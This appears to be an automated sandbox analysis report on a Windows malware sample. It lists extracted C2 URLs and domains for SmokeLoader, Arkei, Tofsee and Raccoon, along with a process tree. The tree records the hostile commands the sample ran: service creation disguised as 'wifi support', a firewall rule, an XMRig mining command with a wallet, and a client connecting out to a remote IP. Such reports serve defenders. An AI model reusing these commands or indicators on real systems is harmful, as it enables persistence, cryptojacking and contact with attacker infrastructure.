Analysis

  • max time kernel
    4265101s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    16/01/2022, 07:46

General

  • Target
    eec7b28e8cf1ae57605db6f776ed3cc2.exe
  • Size 312KB
  • Sample220116-jlz5hsffcj
  • SHA256 05924fcfe05184156437867b14dd30ad1724efe49dd8e5a8a65e97104f9b2c2e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • arkei

Botnet
  • Default

C2
  • http://file-file-host4.com/tratata.php

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Extracted

Family
  • raccoon

Version
  • 1.8.4-hotfixs

rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 11 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 27 IoCs
  • Modifies Installed Components in the registry 2 TTPs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 38 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 13 IoCs
  • Checks SCSI registry key(s) 3 TTPs 16 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 35 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 24 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 56 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 55 IoCs
  • Suspicious use of SendNotifyMessage 27 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eec7b28e8cf1ae57605db6f776ed3cc2.exe
    "C:\Users\Admin\AppData\Local\Temp\eec7b28e8cf1ae57605db6f776ed3cc2.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Users\Admin\AppData\Local\Temp\eec7b28e8cf1ae57605db6f776ed3cc2.exe
      "C:\Users\Admin\AppData\Local\Temp\eec7b28e8cf1ae57605db6f776ed3cc2.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3536
  • C:\Windows\system32\MusNotification.exe
    C:\Windows\system32\MusNotification.exe
    1⤵
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    PID:3100
  • C:\Users\Admin\AppData\Local\Temp\6299.exe
    C:\Users\Admin\AppData\Local\Temp\6299.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:2644
  • C:\Users\Admin\AppData\Local\Temp\7567.exe
    C:\Users\Admin\AppData\Local\Temp\7567.exe
    1⤵
    • Executes dropped EXE
    PID:3312
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 556
      2⤵
      • Program crash
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious use of AdjustPrivilegeToken
      PID:3044
  • C:\Users\Admin\AppData\Local\Temp\7894.exe
    C:\Users\Admin\AppData\Local\Temp\7894.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ezxiztuc\
      2⤵
        PID:2548
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vtrgylhk.exe" C:\Windows\SysWOW64\ezxiztuc\
        2⤵
          PID:3460
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ezxiztuc binPath= "C:\Windows\SysWOW64\ezxiztuc\vtrgylhk.exe /d\"C:\Users\Admin\AppData\Local\Temp\7894.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3804
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ezxiztuc "wifi internet conection"
            2⤵
              PID:748
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ezxiztuc
              2⤵
                PID:3468
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:452
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 1172
                  2⤵
                  • Program crash
                  PID:3488
              • C:\Users\Admin\AppData\Local\Temp\7A2B.exe
                C:\Users\Admin\AppData\Local\Temp\7A2B.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:732
                • C:\Users\Admin\AppData\Local\Temp\7A2B.exe
                  C:\Users\Admin\AppData\Local\Temp\7A2B.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1068
              • C:\Windows\SysWOW64\ezxiztuc\vtrgylhk.exe
                C:\Windows\SysWOW64\ezxiztuc\vtrgylhk.exe /d"C:\Users\Admin\AppData\Local\Temp\7894.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:752
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1128
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3404
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 752 -s 528
                  2⤵
                  • Program crash
                  PID:3156
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1656 -ip 1656
                1⤵
                  PID:3360
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 752 -ip 752
                  1⤵
                    PID:3640
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3312 -ip 3312
                    1⤵
                    • Suspicious use of NtCreateProcessExOtherParentProcess
                    • Suspicious use of WriteProcessMemory
                    PID:2704
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
                    1⤵
                      PID:2228
                    • C:\Users\Admin\AppData\Local\Temp\DE74.exe
                      C:\Users\Admin\AppData\Local\Temp\DE74.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1508
                    • C:\Users\Admin\AppData\Local\Temp\E636.exe
                      C:\Users\Admin\AppData\Local\Temp\E636.exe
                      1⤵
                      • Executes dropped EXE
                      PID:3108
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 444
                        2⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        PID:2548
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 452
                        2⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        PID:3460
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3108 -ip 3108
                      1⤵
                      • Suspicious use of NtCreateProcessExOtherParentProcess
                      • Suspicious use of WriteProcessMemory
                      PID:1096
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3108 -ip 3108
                      1⤵
                        PID:636
                      • C:\Users\Admin\AppData\Local\Temp\F28B.exe
                        C:\Users\Admin\AppData\Local\Temp\F28B.exe
                        1⤵
                        • Executes dropped EXE
                        PID:760
                        • C:\Users\Admin\AppData\Local\Temp\F28B.exe
                          C:\Users\Admin\AppData\Local\Temp\F28B.exe
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:3028
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\ggg.exe
                            3⤵
                              PID:1388
                              • C:\Users\Admin\AppData\Local\Temp\ggg.exe
                                C:\Users\Admin\AppData\Local\Temp\ggg.exe
                                4⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                PID:1788
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ready\svchost.cmd" /S"
                                  5⤵
                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                  PID:636
                                  • C:\Windows\system32\mode.com
                                    mode 65,10
                                    6⤵
                                      PID:3604
                                    • C:\Users\Admin\AppData\Local\Temp\ready\7z.exe
                                      7z.exe e file.zip -p___________16635pwd30571pwd12996___________ -oextracted
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:2952
                                    • C:\Users\Admin\AppData\Local\Temp\ready\7z.exe
                                      7z.exe e extracted/file_5.zip -oextracted
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:876
                                    • C:\Users\Admin\AppData\Local\Temp\ready\7z.exe
                                      7z.exe e extracted/file_4.zip -oextracted
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:3472
                                    • C:\Users\Admin\AppData\Local\Temp\ready\7z.exe
                                      7z.exe e extracted/file_3.zip -oextracted
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:3680
                                    • C:\Users\Admin\AppData\Local\Temp\ready\7z.exe
                                      7z.exe e extracted/file_2.zip -oextracted
                                      6⤵
                                        PID:3336
                                      • C:\Users\Admin\AppData\Local\Temp\ready\7z.exe
                                        7z.exe e extracted/file_1.zip -oextracted
                                        6⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:3696
                                      • C:\Windows\system32\attrib.exe
                                        attrib +H "tea.exe"
                                        6⤵
                                        • Views/modifies file attributes
                                        PID:3164
                                      • C:\Users\Admin\AppData\Local\Temp\ready\tea.exe
                                        "tea.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        PID:3168
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\ccc.exe
                                  3⤵
                                    PID:216
                                    • C:\Users\Admin\AppData\Local\Temp\ccc.exe
                                      C:\Users\Admin\AppData\Local\Temp\ccc.exe
                                      4⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Adds Run key to start application
                                      PID:2212
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\mmm.exe
                                    3⤵
                                      PID:3172
                                      • C:\Users\Admin\AppData\Local\Temp\mmm.exe
                                        C:\Users\Admin\AppData\Local\Temp\mmm.exe
                                        4⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:2960
                                • C:\Users\Admin\AppData\Local\Temp\F81A.exe
                                  C:\Users\Admin\AppData\Local\Temp\F81A.exe
                                  1⤵
                                  • Executes dropped EXE
                                  PID:544
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 544 -s 608
                                    2⤵
                                    • Program crash
                                    • Checks processor information in registry
                                    • Enumerates system info in registry
                                    PID:2336
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:1256
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 880
                                      2⤵
                                      • Program crash
                                      • Checks processor information in registry
                                      • Enumerates system info in registry
                                      PID:1672
                                  • C:\Windows\explorer.exe
                                    C:\Windows\explorer.exe
                                    1⤵
                                      PID:3488
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1256 -ip 1256
                                      1⤵
                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                      PID:3176
                                    • C:\Users\Admin\AppData\Local\Temp\77.exe
                                      C:\Users\Admin\AppData\Local\Temp\77.exe
                                      1⤵
                                      • Modifies WinLogon for persistence
                                      • Executes dropped EXE
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of SetThreadContext
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:460
                                      • C:\Windows\explorer.exe
                                        "C:\Windows\explorer.exe"
                                        2⤵
                                        • Enumerates connected drives
                                        • Checks SCSI registry key(s)
                                        • Modifies registry class
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:2632
                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 193.56.29.237 1338 AZVfqPYlF
                                        2⤵
                                          PID:3872
                                      • C:\Users\Admin\AppData\Local\Temp\1112.exe
                                        C:\Users\Admin\AppData\Local\Temp\1112.exe
                                        1⤵
                                        • Executes dropped EXE
                                        PID:3904
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 444
                                          2⤵
                                          • Program crash
                                          • Checks processor information in registry
                                          • Enumerates system info in registry
                                          PID:2808
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 452
                                          2⤵
                                          • Program crash
                                          • Checks processor information in registry
                                          • Enumerates system info in registry
                                          PID:3828
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 176 -p 3904 -ip 3904
                                        1⤵
                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                        PID:1216
                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                        1⤵
                                        • Modifies registry class
                                        • Suspicious use of SetWindowsHookEx
                                        PID:3544
                                      • C:\Users\Admin\AppData\Local\Temp\1EEE.exe
                                        C:\Users\Admin\AppData\Local\Temp\1EEE.exe
                                        1⤵
                                          PID:3548
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3548 -s 452
                                            2⤵
                                            • Program crash
                                            • Checks processor information in registry
                                            • Enumerates system info in registry
                                            PID:3868
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3548 -s 460
                                            2⤵
                                            • Program crash
                                            • Checks processor information in registry
                                            • Enumerates system info in registry
                                            PID:388
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3904 -ip 3904
                                          1⤵
                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                          PID:1992
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3548 -ip 3548
                                          1⤵
                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                          PID:1660
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3548 -ip 3548
                                          1⤵
                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                          PID:2320
                                        • C:\Users\Admin\AppData\Local\Temp\3287.exe
                                          C:\Users\Admin\AppData\Local\Temp\3287.exe
                                          1⤵
                                          • Executes dropped EXE
                                          PID:3856
                                          • C:\Users\Admin\AppData\Local\Temp\3287.exe
                                            C:\Users\Admin\AppData\Local\Temp\3287.exe
                                            2⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            PID:1656
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 544 -ip 544
                                          1⤵
                                            PID:3592
                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                            1⤵
                                            • Enumerates system info in registry
                                            • Modifies registry class
                                            • Suspicious use of SetWindowsHookEx
                                            PID:716
                                          • C:\Users\Admin\AppData\Local\Temp\48FE.exe
                                            C:\Users\Admin\AppData\Local\Temp\48FE.exe
                                            1⤵
                                              PID:3472
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 444
                                                2⤵
                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                • Program crash
                                                • Checks processor information in registry
                                                • Enumerates system info in registry
                                                PID:3592
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 452
                                                2⤵
                                                • Program crash
                                                • Checks processor information in registry
                                                • Enumerates system info in registry
                                                PID:3604
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 3472 -ip 3472
                                              1⤵
                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                              • Executes dropped EXE
                                              PID:3548
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3472 -ip 3472
                                              1⤵
                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                              PID:2004
                                            • C:\Windows\system32\backgroundTaskHost.exe
                                              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                              1⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              PID:3336

                                            Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  memory/460-278-0x0000000002290000-0x00000000022D0000-memory.dmp

                                                  memory/460-289-0x0000000005570000-0x0000000005B14000-memory.dmp

                                                  memory/460-300-0x0000000003033000-0x0000000003034000-memory.dmp

                                                  memory/460-283-0x0000000002390000-0x00000000023C8000-memory.dmp

                                                  memory/460-276-0x0000000000740000-0x0000000000741000-memory.dmp

                                                  memory/460-299-0x0000000003032000-0x0000000003033000-memory.dmp

                                                  memory/460-296-0x0000000003030000-0x0000000003031000-memory.dmp

                                                  memory/460-274-0x0000000000400000-0x0000000000511000-memory.dmp

                                                  memory/460-282-0x0000000000770000-0x0000000000771000-memory.dmp

                                                  memory/460-290-0x00000000030C0000-0x000000000315C000-memory.dmp

                                                  memory/544-312-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                  memory/544-336-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                  memory/716-342-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-352-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-358-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-360-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-362-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-361-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-359-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-357-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-356-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-355-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-351-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-354-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-353-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-341-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-344-0x000002C809548000-0x000002C809550000-memory.dmp

                                                  memory/716-350-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-349-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-348-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/716-345-0x000002C8083A0000-0x000002C8083A2000-memory.dmp

                                                  memory/732-157-0x0000000000EB0000-0x0000000000F3A000-memory.dmp

                                                  memory/732-158-0x0000000000EB0000-0x0000000000F3A000-memory.dmp

                                                  memory/732-161-0x00000000057F0000-0x00000000057F1000-memory.dmp

                                                  memory/732-160-0x0000000005950000-0x0000000005951000-memory.dmp

                                                  memory/732-169-0x0000000005F10000-0x00000000064B4000-memory.dmp

                                                  memory/732-163-0x0000000005890000-0x0000000005906000-memory.dmp

                                                  memory/732-167-0x0000000005870000-0x000000000588E000-memory.dmp

                                                  memory/752-172-0x00000000007F9000-0x0000000000809000-memory.dmp

                                                  memory/752-177-0x0000000000400000-0x00000000004E4000-memory.dmp

                                                  memory/1068-188-0x0000000004D40000-0x0000000005358000-memory.dmp

                                                  memory/1068-190-0x0000000005980000-0x0000000005A12000-memory.dmp

                                                  memory/1068-195-0x0000000007080000-0x00000000075AC000-memory.dmp

                                                  memory/1068-179-0x0000000000400000-0x0000000000420000-memory.dmp

                                                  memory/1068-182-0x0000000000400000-0x0000000000420000-memory.dmp

                                                  memory/1068-183-0x0000000000400000-0x0000000000420000-memory.dmp

                                                  memory/1068-184-0x0000000005360000-0x0000000005978000-memory.dmp

                                                  memory/1068-185-0x0000000004DF0000-0x0000000004E02000-memory.dmp

                                                  memory/1068-186-0x0000000004F20000-0x000000000502A000-memory.dmp

                                                  memory/1068-187-0x0000000004E50000-0x0000000004E8C000-memory.dmp

                                                  memory/1068-194-0x0000000006980000-0x0000000006B42000-memory.dmp

                                                  memory/1068-189-0x00000000051C0000-0x0000000005236000-memory.dmp

                                                  memory/1068-193-0x0000000005DB0000-0x0000000005E16000-memory.dmp

                                                  memory/1068-191-0x0000000005FD0000-0x0000000006574000-memory.dmp

                                                  memory/1068-192-0x0000000005300000-0x000000000531E000-memory.dmp

                                                  memory/1128-175-0x00000000007C0000-0x00000000007C1000-memory.dmp

                                                  memory/1128-206-0x0000000009990000-0x0000000009997000-memory.dmp

                                                  memory/1128-176-0x00000000007C0000-0x00000000007C1000-memory.dmp

                                                  memory/1128-196-0x0000000004C00000-0x0000000004E0F000-memory.dmp

                                                  memory/1128-198-0x0000000003DF0000-0x0000000003DF6000-memory.dmp

                                                  memory/1128-200-0x0000000004F50000-0x0000000004F60000-memory.dmp

                                                  memory/1128-174-0x0000000000AA0000-0x0000000000AB5000-memory.dmp

                                                  memory/1128-202-0x00000000050E0000-0x00000000050E5000-memory.dmp

                                                  memory/1128-204-0x0000000009D00000-0x000000000A10B000-memory.dmp

                                                  memory/1256-268-0x0000000002CA0000-0x0000000002D0B000-memory.dmp

                                                  memory/1256-267-0x0000000002D10000-0x0000000002D84000-memory.dmp

                                                  memory/1508-237-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                  memory/1508-279-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                  memory/1508-280-0x0000000004760000-0x00000000047AF000-memory.dmp

                                                  memory/1508-225-0x0000000002C70000-0x0000000002CD8000-memory.dmp

                                                  memory/1508-223-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                  memory/1508-281-0x0000000004BD0000-0x0000000004C61000-memory.dmp

                                                  memory/1508-226-0x0000000004A80000-0x0000000004B12000-memory.dmp

                                                  memory/1508-217-0x00000000049D0000-0x0000000004A75000-memory.dmp

                                                  memory/1508-298-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                  memory/1508-218-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                  memory/1656-155-0x0000000000400000-0x00000000004E4000-memory.dmp

                                                  memory/1656-154-0x0000000000630000-0x0000000000643000-memory.dmp

                                                  memory/1656-152-0x000000000070D000-0x000000000071D000-memory.dmp

                                                  memory/2212-321-0x00007FFE06D10000-0x00007FFE06E5E000-memory.dmp

                                                  memory/2212-317-0x0000000000E50000-0x0000000000EB6000-memory.dmp

                                                  memory/2212-316-0x0000000000E50000-0x0000000000EB6000-memory.dmp

                                                  memory/2212-323-0x0000000002EE0000-0x0000000002EE2000-memory.dmp

                                                  memory/2488-134-0x0000000002A00000-0x0000000002A16000-memory.dmp

                                                  memory/2488-156-0x00000000071B0000-0x00000000071C6000-memory.dmp

                                                  memory/2632-347-0x0000000002A20000-0x0000000002A21000-memory.dmp

                                                  memory/2644-139-0x00000000006C0000-0x00000000006C9000-memory.dmp

                                                  memory/2644-140-0x0000000000400000-0x0000000000452000-memory.dmp

                                                  memory/2644-138-0x00000000006B0000-0x00000000006B9000-memory.dmp

                                                  memory/2960-331-0x00000000009E0000-0x0000000000A46000-memory.dmp

                                                  memory/2960-333-0x00007FFE06D10000-0x00007FFE06E5E000-memory.dmp

                                                  memory/3108-222-0x00000000024A0000-0x0000000002500000-memory.dmp

                                                  memory/3172-131-0x0000000000780000-0x0000000000789000-memory.dmp

                                                  memory/3172-130-0x00000000007DE000-0x00000000007EE000-memory.dmp

                                                  memory/3312-149-0x0000000000400000-0x00000000004E5000-memory.dmp

                                                  memory/3312-148-0x0000000000640000-0x000000000065C000-memory.dmp

                                                  memory/3312-144-0x00000000006ED000-0x00000000006FE000-memory.dmp

                                                  memory/3404-209-0x00000000008C0000-0x00000000009B1000-memory.dmp

                                                  memory/3404-213-0x00000000008C0000-0x00000000009B1000-memory.dmp

                                                  memory/3488-273-0x0000000000110000-0x0000000000117000-memory.dmp

                                                  memory/3488-275-0x0000000000100000-0x000000000010C000-memory.dmp

                                                  memory/3536-133-0x0000000000400000-0x0000000000409000-memory.dmp

                                                  memory/3544-319-0x00000270C8750000-0x00000270C8752000-memory.dmp

                                                  memory/3544-340-0x00000270C8750000-0x00000270C8752000-memory.dmp

                                                  memory/3544-322-0x00000270C8750000-0x00000270C8752000-memory.dmp

                                                  memory/3872-325-0x0000000006050000-0x00000000060A0000-memory.dmp

                                                  memory/3872-318-0x0000000005790000-0x00000000057F6000-memory.dmp

                                                  memory/3872-311-0x0000000005190000-0x0000000005191000-memory.dmp

                                                  memory/3872-309-0x0000000005850000-0x0000000005DF4000-memory.dmp

                                                  memory/3872-305-0x0000000000400000-0x0000000000416000-memory.dmp

                                                  memory/3872-306-0x0000000000400000-0x0000000000416000-memory.dmp

